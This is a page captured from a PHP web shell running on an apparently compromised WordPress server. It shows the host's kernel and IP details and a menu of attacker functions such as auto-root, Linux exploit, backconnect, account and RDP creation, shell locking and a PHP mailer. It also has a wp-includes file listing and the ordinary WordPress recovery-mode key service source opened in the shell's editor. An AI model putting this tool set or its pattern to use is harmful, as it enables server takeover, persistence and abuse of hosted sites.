Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
yvffpqmy /
dataharbor.africa /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
ID3
[ DIR ]
drwxr-xr-x
?;
IXR
[ DIR ]
drwxr-xr-x
?;
PHPMailer
[ DIR ]
drwxr-xr-x
?;
Requests
[ DIR ]
drwxr-xr-x
?;
SimplePie
[ DIR ]
drwxr-xr-x
?;
Text
[ DIR ]
drwxr-xr-x
?;
assets
[ DIR ]
drwxr-xr-x
?;
block-bindings
[ DIR ]
drwxr-xr-x
?;
block-patterns
[ DIR ]
drwxr-xr-x
?;
block-supports
[ DIR ]
drwxr-xr-x
?;
blocks
[ DIR ]
drwxr-xr-x
?;
certificates
[ DIR ]
drwxr-xr-x
?;
css
[ DIR ]
drwxr-xr-x
?;
customize
[ DIR ]
drwxr-xr-x
?;
fonts
[ DIR ]
drwxr-xr-x
?;
html-api
[ DIR ]
drwxr-xr-x
?;
images
[ DIR ]
drwxr-xr-x
?;
interactivity-api
[ DIR ]
drwxr-xr-x
?;
js
[ DIR ]
drwxr-xr-x
?;
l10n
[ DIR ]
drwxr-xr-x
?;
php-compat
[ DIR ]
drwxr-xr-x
?;
pomo
[ DIR ]
drwxr-xr-x
?;
rest-api
[ DIR ]
drwxr-xr-x
?;
sitemaps
[ DIR ]
drwxr-xr-x
?;
sodium_compat
[ DIR ]
drwxr-xr-x
?;
style-engine
[ DIR ]
drwxr-xr-x
?;
theme-compat
[ DIR ]
drwxr-xr-x
?;
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
36.24
KB
-rw-r--r--
author-template.php
18.51
KB
-rw-r--r--
block-editor.php
28.12
KB
-rw-r--r--
blocks.php
110.4
KB
-rw-r--r--
cache-compat.php
5.83
KB
-rw-r--r--
canonical.php
33.71
KB
-rw-r--r--
capabilities.php
41.72
KB
-rw-r--r--
class-IXR.php
2.55
KB
-rw-r--r--
class-avif-info.php
28.92
KB
-rw-r--r--
class-oembed.php
401
B
-rw-r--r--
class-phpass.php
6.61
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-simplepie.php
453
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-wp-editor.php
70.64
KB
-rw-r--r--
class-wp-locale.php
16.49
KB
-rw-r--r--
class-wp-oembed.php
30.87
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.99
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.72
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.77
KB
-rw-r--r--
class-wp-styles.php
10.75
KB
-rw-r--r--
class-wp-walker.php
13.01
KB
-rw-r--r--
class-wp-widget.php
18
KB
-rw-r--r--
class.wp-styles.php
338
B
-rw-r--r--
compat.php
15.99
KB
-rw-r--r--
default-filters.php
35.84
KB
-rw-r--r--
default-widgets.php
2.24
KB
-rw-r--r--
error_log
32.63
KB
-rw-r--r--
feed-atom.php
3.05
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
functions.php
280.81
KB
-rw-r--r--
https-detection.php
5.72
KB
-rw-r--r--
https-migration.php
4.63
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
meta-method.php
38
B
-rw-r--r--
ms-functions.php
89.44
KB
-rw-r--r--
option.php
100.65
KB
-rw-r--r--
pluggable.php
119.82
KB
-rw-r--r--
plugin.php
34.63
KB
-rw-r--r--
post-formats.php
6.94
KB
-rw-r--r--
registration.php
200
B
-rw-r--r--
robots-template.php
5.06
KB
-rw-r--r--
rss.php
22.57
KB
-rw-r--r--
style-engine.php
7.39
KB
-rw-r--r--
template-canvas.php
544
B
-rw-r--r--
template-loader.php
3.27
KB
-rw-r--r--
theme-templates.php
6.09
KB
-rw-r--r--
theme.json
8.5
KB
-rw-r--r--
update.php
36.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-recovery-mode-key-service.php
<?php /** * Error Protection API: WP_Recovery_Mode_Key_Service class * * @package WordPress * @since 5.2.0 */ /** * Core class used to generate and validate keys used to enter Recovery Mode. * * @since 5.2.0 */ #[AllowDynamicProperties] final class WP_Recovery_Mode_Key_Service { /** * The option name used to store the keys. * * @since 5.2.0 * @var string */ private $option_name = 'recovery_keys'; /** * Creates a recovery mode token. * * @since 5.2.0 * * @return string A random string to identify its associated key in storage. */ public function generate_recovery_mode_token() { return wp_generate_password( 22, false ); } /** * Creates a recovery mode key. * * @since 5.2.0 * @since 6.8.0 The stored key is now hashed using wp_fast_hash() instead of phpass. * * @param string $token A token generated by {@see generate_recovery_mode_token()}. * @return string Recovery mode key. */ public function generate_and_store_recovery_mode_key( $token ) { $key = wp_generate_password( 22, false ); $records = $this->get_keys(); $records[ $token ] = array( 'hashed_key' => wp_fast_hash( $key ), 'created_at' => time(), ); $this->update_keys( $records ); /** * Fires when a recovery mode key is generated. * * @since 5.2.0 * * @param string $token The recovery data token. * @param string $key The recovery mode key. */ do_action( 'generate_recovery_mode_key', $token, $key ); return $key; } /** * Verifies if the recovery mode key is correct. * * Recovery mode keys can only be used once; the key will be consumed in the process. * * @since 5.2.0 * * @param string $token The token used when generating the given key. * @param string $key The plain text key. * @param int $ttl Time in seconds for the key to be valid for. * @return true|WP_Error True on success, error object on failure. */ public function validate_recovery_mode_key( $token, $key, $ttl ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) ); } $record = $records[ $token ]; $this->remove_key( $token ); if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) { return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) ); } if ( ! wp_verify_fast_hash( $key, $record['hashed_key'] ) ) { return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) ); } if ( time() > $record['created_at'] + $ttl ) { return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) ); } return true; } /** * Removes expired recovery mode keys. * * @since 5.2.0 * * @param int $ttl Time in seconds for the keys to be valid for. */ public function clean_expired_keys( $ttl ) { $records = $this->get_keys(); foreach ( $records as $key => $record ) { if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) { unset( $records[ $key ] ); } } $this->update_keys( $records ); } /** * Removes a used recovery key. * * @since 5.2.0 * * @param string $token The token used when generating a recovery mode key. */ private function remove_key( $token ) { $records = $this->get_keys(); if ( ! isset( $records[ $token ] ) ) { return; } unset( $records[ $token ] ); $this->update_keys( $records ); } /** * Gets the recovery key records. * * @since 5.2.0 * @since 6.8.0 Each key is now hashed using wp_fast_hash() instead of phpass. * Existing keys may still be hashed using phpass. * * @return array { * Associative array of token => data pairs, where the data is an associative * array of information about the key. * * @type array ...$0 { * Information about the key. * * @type string $hashed_key The hashed value of the key. * @type int $created_at The timestamp when the key was created. * } * } */ private function get_keys() { return (array) get_option( $this->option_name, array() ); } /** * Updates the recovery key records. * * @since 5.2.0 * @since 6.8.0 Each key should now be hashed using wp_fast_hash() instead of phpass. * * @param array $keys { * Associative array of token => data pairs, where the data is an associative * array of information about the key. * * @type array ...$0 { * Information about the key. * * @type string $hashed_key The hashed value of the key. * @type int $created_at The timestamp when the key was created. * } * } * @return bool True on success, false on failure. */ private function update_keys( array $keys ) { return update_option( $this->option_name, $keys, false ); } }
Close